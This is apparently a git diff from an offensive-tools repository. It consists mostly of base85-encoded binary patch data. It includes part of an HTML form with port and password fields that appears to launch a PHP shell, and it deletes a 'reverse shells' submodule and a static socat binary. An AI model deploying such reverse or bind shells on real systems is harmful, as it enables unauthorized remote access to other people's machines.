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

-
-
- - -
- - - - - - - - - - - - -
Port - -
Passwd -
- -
-
-

Note : After clicking Submit button , The browser will start loading continuously , Dont close this window , Unless you are done!

- diff --git a/reverse shells/phpreverseshell b/reverse shells/phpreverseshell deleted file mode 160000 index 72873b9..0000000 --- a/reverse shells/phpreverseshell +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 72873b93fa3d960ce35f8c46d6fd8195a45f17c0 diff --git a/reverse shells/socat_static b/reverse shells/socat_static deleted file mode 100644 index ddb90978a0d8d861b31913bea7adf94d68ca7339..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 375176 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 